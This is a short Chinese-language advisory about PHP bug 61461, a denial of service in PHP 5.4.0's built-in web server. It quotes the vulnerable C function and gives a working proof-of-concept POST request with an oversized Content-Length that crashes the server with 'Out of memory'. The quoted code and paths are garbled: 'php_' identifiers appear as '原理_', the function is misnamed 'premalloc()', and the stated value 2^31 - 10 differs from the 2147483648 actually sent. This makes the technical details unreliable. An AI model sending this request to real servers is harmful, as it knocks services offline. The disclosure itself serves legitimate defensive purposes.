PHP 的 DoS 漏洞,Bug 61461

2012 年 10 月 25 日7330

   

  当一个包含大数值 Content-Length 的 HTTP 请求被发送到内建的 PHP web 服务器后,可以触发拒绝服务问题(DoS)。

  Bug 61461

  Content-Length 头的值被直接传入了 premalloc() 函数,在 sapi/cli/原理_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的内联函数 malloc() 将报错,终止进程,抛出“Out of memory”错误。

  static int 原理_cli_server_client_read_request_on_body(原理_http_parser *parser, const char *at, size_t length)

  {

  原理_cli_server_client *client = parser->data;

  if (!client->request.content) {

  client->request.content = pemalloc(parser->content_length, 1);

  client->request.content_len = 0;

  }

  memmove(client->request.content + client->request.content_len, at, length);

  client->request.content_len += length;

  return 0;

  }

  把 Content-Length 设置为 2^31 - 10,也就是接近32位系统的上限值,能够重现这个问题。

  测试脚本:

  下面这个 HTTP 请求将触发这个bug

  POST / HTTP/1.1

  Content-Type: application/x-www-form-urlencoded

  Content-Length: 2147483648

  A=B

  正确结果:

  我们预期得到一个有意义的错误信息。

  Invalid request (Requested Content-Length is larger the allowed limit of XYZ)

  实际结果:

  PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012

  Listening on 127.0.0.1:80

  Document root is /tmp

  Press Ctrl-C to quit.

  Out of memory

0 0